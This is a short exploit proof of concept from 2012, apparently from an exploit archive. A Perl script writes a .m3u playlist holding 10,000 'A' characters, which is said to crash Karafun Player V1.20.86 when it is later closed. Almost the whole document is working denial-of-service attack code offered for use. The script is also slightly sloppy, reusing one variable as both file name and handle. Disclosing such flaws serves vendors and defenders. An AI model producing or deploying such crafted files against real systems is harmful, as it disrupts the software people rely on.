Karafun Player 1.20.86 .m3u Crash PoC

#
# Exploit Title: Karafun Player V1.20.86 .m3u file Denial of Service
# Date: 2012.6.15
# Vulnerability Discovered & Exploit by Styxosaurus
# Styxosaurus [at] gmail [dot] com
#
# Software Link: http://www.karafun.com/karaokeplayer/
# Version: V1.20.86
# Description:
#             Karafun will crash and not responding when trying to close it after
#             runs a special crafted .m3u file.

my $JUNK= "A" x 10000;
my $FILE="Karafun.m3u";
open(my $FILE, ">$FILE") or die "Cannot open $file: $!";
print $FILE $JUNK;
close($FILE);